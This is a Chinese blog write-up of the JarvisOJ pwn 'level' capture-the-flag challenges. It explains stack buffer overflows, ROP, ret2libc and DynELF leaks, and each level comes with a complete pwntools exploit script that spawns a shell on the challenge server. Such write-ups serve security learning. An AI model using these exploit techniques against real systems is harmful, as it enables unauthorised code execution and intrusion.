JarvisOJ PWN level系列 wp

菜菜的小白最近学习pwn,做了Jarvis上的一些题目进行练习,也从很多师傅的博客里学习到了很多新的知识,今天重新温习并且总结一下,以下的wp可能会比较详细,大佬可略:

level0

这一题的难度还是蛮容易的,首先拖进ida里,发现有'/bin/sh/字符串和system函数,然后找溢出点,发现read函数这里发生溢出,只给了0x88的内存,但是却要读0x200个字节,必溢出:

然后构造一个溢出,让返回地址变成指定的地址(即system函数的地址),写一个脚本就可以getshell了:

# -*- coding:utf-8 -*-
from pwn import *


sh = remote("pwn2.jarvisoj.com",9881) 
junk = 'a'*0x80


fakebp = 'a'*8
syscall = 0x0000000000400596
payload = junk + fakebp + p64(syscall)
sh.send(payload)
sh.interactive()

level1

拖进ida里进行查看:

先确认一下思路,首先发现溢出点,并且可以知道buf的地址,所以我们就要在已知的buf地址上构造shellcode。

由于栈的大小是0x88,read函数能够读入的范围是0x100到buf,所以可以通过溢出来让函数跳转到shellcode的地址进行执行。

首先先生成一段shellcode,使用pwntools里固有的函数进行构造:shellcode=asm(shellcraft.sh())

接着我们需要确定跳转的地址,checksec发现该程序没有开启任何保护措施,所以就在缓冲区内构造shellcode并用buf作为起始地址,下面上脚本:

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
#接收从下标为第14位到倒数第二位的字符串
text = p.recvline()[14:-2]
print text[14:-2]
#将text字符串通过int函数转换为16进制的地址,作为跳转的地址
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())

payload = 'a' * (0x88+4-len(shellcode)) + shellcode +  p32(buf_addr)
p.send(payload)
p.interactive()

level2

拖进ida反汇编,找溢出点,发现溢出:

发现了system函数,还发现了'/bin/sh'字符串,所以可以通过把传入参数变成'/bin/sh'然后通过调用system('/bin/sh')得到shell:

(此图源自https://blog.csdn.net/github_36788573/article/details/80004451

注意不能在vulnerable函数的返回地址后面直接跟参数,我们需要模拟call system函数的过程,在这个过程中call有一步是将下一条指令的地址压栈,所以我们需要构造一个假的返回地址,当然这个内容随意。上脚本:

# -*- coding:utf-8 -*-

from pwn import * 

p = remote('pwn2.jarvisoj.com', 9878)

payload = 'a' * 0x88 + 'a' * 4 + p32(0x08048320) + p32(0xdeadbeef) + p32(0x0804A024)
#0xdeadbeef/"aaaa"为system("/bin/sh")执行后的返回地址,可以随便指定
p.sendlineafter("Input:\n", payload)

p.interactive()

level2_x64

结构和level2的差不多,溢出点也相同,区别在于32位的是通过栈传参,而64位通过寄存器传参。

所以这时我们的思路变成如何覆盖edi的值,通过基本rop就可以做到,利用程序自己的带有pop edi/rdi;ret语句达到给edi赋值的效果。pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。


————————————————
版权声明:本文为CSDN博主「yudhui」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/github_36788573/article/details/80008536

思路已经清晰了,现在上脚本:

from pwn import *

p = remote('pwn2.jarvisoj.com','9882')
#p = process("./level2")

elf = ELF('./level2x64')

payload = 'a' * 0x80 + "bbbbbbbb"
pop_rdi_addr = 0x00000000004006b3
sh_addr = elf.search('/bin/sh').next()
print p64(sh_addr)
#sh_addr = 0x0000000000600A90

system_addr = elf.symbols['system']
print p64(system_addr)

junk = 'a' * 0x88

#ROPgadget --binary level2_x64 --only 'pop|ret '

payload = junk + p64(pop_rdi_addr) + p64(sh_addr) + p64(system_addr)  
p.sendline(payload)
p.interactive()

level3(return_to_libc)

首先拿到一个压缩包,解压之后发现程序以及libc-2.19.so文件,拖到ida里,首先发现vul_fuction的read函数可以溢出。发现程序没有system函数和”/bin/sh”,要如何getshell呢?

首先我们想到要获取system函数的地址。这就需要利用到在libc.so文件中各个函数的相对位置和加载到内存中之后各个函数的相对位置相同这一特性来获取。

我们在程序中发现了write函数,write函数可以将东西写出来,所以我们就可以将write函数在内存中的地址泄露出来,由于system和write函数在libc.so文件中的地址是可以知道的,那么进而我们就可以通过动态链接库的特性知道system在内存中的的地址,以及”/bin/sh”在内存中的地址,于是就可以调用system(“/bin/sh”)达到获取shell的目的。

有关plt和got表的知识参考:https://www.jianshu.com/p/0ac63c3744dd

至于write函数在内存中的地址是保存在got表中,在第二次运行write函数的时候,got表中就已经记录了write的地址。再次返回func函数为了是进行二次溢出,后面三个分别是wirte函数的参数 ,1表示标准输出流stdout,中间是write是要输出的地址,这里要输出writegot,4是输出的长度,上脚本:

from pwn import * 
                                                                 
#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com",9879)
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B  
write_plt=e.symbols['write'] 
#write_got=e.got['write'] 
write_got = 0x0804A018
payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
#溢出地址+返回地址+参数
conn.recvuntil("Input:\n")
conn.sendline(payload1)

write_addr=u32(conn.recv(4))

#calculate the system_address in memory
libc_write=libc.symbols['write']
#libc_system=libc.symbols['system']
#libc_sh=libc.search('/bin/sh').next()
#libc_read_addr = 0x000dde30
libc_system = 0x00040310
libc_sh = 0x162d4c
system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh

payload2='A'*pad+"BBBB"+p32(system_addr)+ "dead" +p32(sh_addr)
conn.sendline(payload2)
conn.interactive()

相关博客参考:https://blog.csdn.net/github_36788573/article/details/80069404

https://www.jianshu.com/p/35c757ef9d89   https://www.bbsmax.com/A/mo5kNV14Jw/

level3_x64

程序和level3的差不多,就是要注意64位程序的传参,直接上脚本吧:

from pwn import*

#p = process('./level3x64')
p = remote('pwn2.jarvisoj.com',9883)
libc = ELF('./libc-2.19.so')
e = ELF('./level3_x64')

pop_rdi_ret = 0x00004006b3
pop_rsi_ret = 0x00004006b1
write_plt = e.plt['write']
write_got = e.got['write']
#vul_addr = e.symbols['vulnerable_function']
vul_addr = 0x4005e6
payload1 = 'a' * 0x88 + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vul_addr)
p.recvuntil("Input:\n")
p.sendline(payload1)

write_addr=u64(p.recv(8))
print(write_addr)

libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_sh = libc.search('/bin/sh').next()

system_addr = write_addr-libc_write+libc_system 
sh_addr = write_addr-libc_write+libc_sh

payload2 = 'a' * 0x88 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr) + p64(0xdeadbeef)

p.sendline(payload2)
p.interactive()

附件更新了....因为这个卡了好久....枯了QAQ/

po出两个x86和x64传参时栈帧结构链接:32位:https://www.jianshu.com/p/c90530c910b0

64位:https://www.jianshu.com/p/f3ebf8a360f0

level4

拿到附件之后打开发现没有libc文件,之后学习到用DynELF来做,利用这个模块可以找到system的地址,但是找不到”/bin/sh”这个字符串位置,于是我们可以将其写入bss段,然后控制read函数,通过调用read函数写入字符串,下面上脚本。

(DynELF的相关学习链接:https://blog.csdn.net/qq_40827990/article/details/86689760

from pwn import *

#p = process('./level4')
p = remote('pwn2.jarvisoj.com','9880')

e = ELF('./level4')
write_plt = e.symbols['write']
vul_addr = e.symbols['vulnerable_function']
bss_addr = 0x0804A024
def leak(addr):
	payload = 'a' * 0x88 + "bbbb"
	payload += p32(write_plt)
	payload += p32(vul_addr)
	payload += p32(0x1)
	payload += p32(addr)
	payload += p32(0x4)
	p.send(payload)
	data = p.recv(4)
	return data

d = DynELF(leak,elf = e)
system_addr = d.lookup('system','libc')

#read_addr = e.symbols['read']
#read_addr = d.lookup('read','libc')
read_addr = 0x08048310
payload2 = 'a'*0x88 + "bbbb" + p32(read_addr) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8)
p.send(payload2)
p.sendline('/bin/sh')

payload3 = 'a'*0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)
p.sendline(payload3)

p.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值